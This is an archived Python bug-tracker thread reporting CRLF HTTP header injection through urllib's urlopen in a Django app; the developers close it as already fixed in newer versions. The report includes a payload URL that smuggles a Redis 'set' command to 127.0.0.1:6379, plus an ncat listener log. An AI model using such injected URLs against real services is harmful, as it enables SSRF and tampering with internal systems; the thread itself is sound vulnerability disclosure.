This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

classification
Title: HTTP header injection in urllib on windows
Type: security Stage: resolved
Components: Versions: Python 3.10
process
Status: closed Resolution: not a bug
Dependencies: Superseder:
Assigned To: Nosy List: bfpiaoran, gregory.p.smith, lemburg, orsenthil, vstinner
Priority: normal Keywords:

Created on 2021-01-21 04:02 by bfpiaoran, last changed 2022-04-11 14:59 by admin. This issue is now closed.

Messages (6)
msg385389 - (view) Author: bfpiaoran (bfpiaoran) Date: 2021-01-21 04:02
Recently,(on windows) I discovered a security issue during a security review due to urllib.I checked the document and found that it has been fixed at https://bugs.python.org/issue22928.but My python version is 3.7.2 over the fix bug version .Then tried to find the reason
The code is probably as follows under the django framework

```
from urllib.request import urlopen



remote_urls = request.POST.getlist("source[]", [])
for remote_url in remote_urls:
    remote_image = urlopen(remote_url)

```
source[]=http://127.0.0.1:6379/%0d%0aset%20ce%20test%0d%0a/1.jpg

Changing the address will make urlopen connect to the local machine 6379 and set the key value

python3 



Python 3.7.2 (tags/v3.7.2:9a3ffc0492, Dec 23 2018, 22:20:52) [MSC v.1916 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from django.utils.six.moves.urllib.request import urlopen
>>> remote_image = urlopen('http://127.0.0.1:6379/\r\nset ce test\r\n/1.jpg')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\urllib\request.py", line 222, in urlopen        return opener.open(url, data, timeout)
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\urllib\request.py", line 525, in open           response = self._open(req, data)
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\urllib\request.py", line 543, in _open          '_open', req)
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\urllib\request.py", line 503, in _call_chain    result = func(*args)
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\urllib\request.py", line 1345, in http_open
    return self.do_open(http.client.HTTPConnection, req)
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\urllib\request.py", line 1320, in do_open
    r = h.getresponse()
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\http\client.py", line 1321, in getresponse
    response.begin()
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\http\client.py", line 296, in begin
    version, status, reason = self._read_status()
  File "C:\Users\cuijianxiong\AppData\Local\Programs\Python\Python37-32\lib\http\client.py", line 278, in _read_status
    raise BadStatusLine(line)
http.client.BadStatusLine: $-1



Django will encode and decode urlopen because of the url specification, and accept requests with "\r\n" in the url


It is the responsibility of the developer leveraging Python and its HTTP client libraries to ensure that their (web) application acts in accordance to official HTTP specifications and that no threats to security will arise from their code.
However, newlines inside headers are arguably a special case of breaking the conformity with RFC's in regard to the allowed character set. No illegal character used inside a HTTP header is likely to have a compromising side effect on back-end clients and servers and the integrity of their communication, as a result of the leniency of most web servers. However, a newline character (0x0A) embedded in a HTTP header invariably has the semantic consequence of denoting the start of an additional header line. To put it differently, not sanitizing headers in complete accordance to RFC's could be seen as as virtue in that it gives the programmer a maximum amount of freedom, without having to trade it for any likely or severe security ramifications, so that they may use illegal characters in testing environments and environments that are outlined by an expliticly less strict interpretation of the HTTP protocol. Newlines are special in that they enable anyone who is able to influence the header content, to, in effect, perform additional invocations to add_header().


urlopen('http://106.53.251.216:8888/\r\Auth: test\r\n/1.jpg')


Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 111.202.227.139.
Ncat: Connection from 111.202.227.139:14411.
\Auth: test
/1.jpg HTTP/1.1
Accept-Encoding: identity
Host: 106.53.251.216:8888
User-Agent: Python-urllib/3.7
Connection: close



I think https://bugs.python.org/issue22928 is not very thorough and does not fully detect line breaks
msg385394 - (view) Author: Gregory P. Smith (gregory.p.smith) * (Python committer) Date: 2021-01-21 08:29
Have you tried this on a more recent Python?  works for me on 3.7.8 on macos.

Python 3.7.8 (v3.7.8:4b47a5b6ba, Jun 27 2020, 04:47:50) 
[Clang 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.request import urlopen
>>> remote_image = urlopen('http://127.0.0.1:6379/\r\nset ce test\r\n/1.jpg')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/urllib/request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/urllib/request.py", line 525, in open
    response = self._open(req, data)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/urllib/request.py", line 543, in _open
    '_open', req)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/urllib/request.py", line 1378, in http_open
    return self.do_open(http.client.HTTPConnection, req)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/urllib/request.py", line 1350, in do_open
    encode_chunked=req.has_header('Transfer-encoding'))
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/http/client.py", line 1262, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/http/client.py", line 1273, in _send_request
    self.putrequest(method, url, **skips)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/http/client.py", line 1116, in putrequest
    self._validate_path(url)
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/http/client.py", line 1207, in _validate_path
    raise InvalidURL(f"URL can't contain control characters. {url!r} "
http.client.InvalidURL: URL can't contain control characters. '/\r\nset ce test\r\n/1.jpg' (found at least '\r')


If this is somehow Windows specific (that'd be surprising), I don't have windows and someone else will need to confirm.
msg385396 - (view) Author: STINNER Victor (vstinner) * (Python committer) Date: 2021-01-21 08:45
> My python version is 3.7.2

Please upgrade, you version contains at least two fixed HTTP Header Injection vulnerabilities:

https://python-security.readthedocs.io/vuln/http-header-injection-method.html
https://python-security.readthedocs.io/vuln/urlopen-host-http-header-injection.html

I close the issue.
msg385397 - (view) Author: bfpiaoran (bfpiaoran) Date: 2021-01-21 08:47
ok i tried it, indeed
msg385398 - (view) Author: STINNER Victor (vstinner) * (Python committer) Date: 2021-01-21 08:48
FYI I wrote https://github.com/vstinner/check_python_vuln tool to check known Python vulnerabilities. But I didn't write a check for all known vulnerabilities. Contributions are welcome ;-)
msg385399 - (view) Author: bfpiaoran (bfpiaoran) Date: 2021-01-21 08:50
I encountered a problem with this project https://github.com/zhangfisher/DjangoUeditor, but it seems that it is no longer maintained :)
History
Date User Action Args
2022-04-11 14:59:40adminsetgithub: 87153
2021-01-21 08:50:42bfpiaoransetmessages: + msg385399
2021-01-21 08:48:24vstinnersetmessages: + msg385398
2021-01-21 08:47:19bfpiaoransetmessages: + msg385397
2021-01-21 08:45:00vstinnersetstatus: open -> closed

nosy: + vstinner
messages: + msg385396

resolution: not a bug
stage: resolved
2021-01-21 08:29:32gregory.p.smithsetnosy: + gregory.p.smith
messages: + msg385394
2021-01-21 04:02:35bfpiaorancreate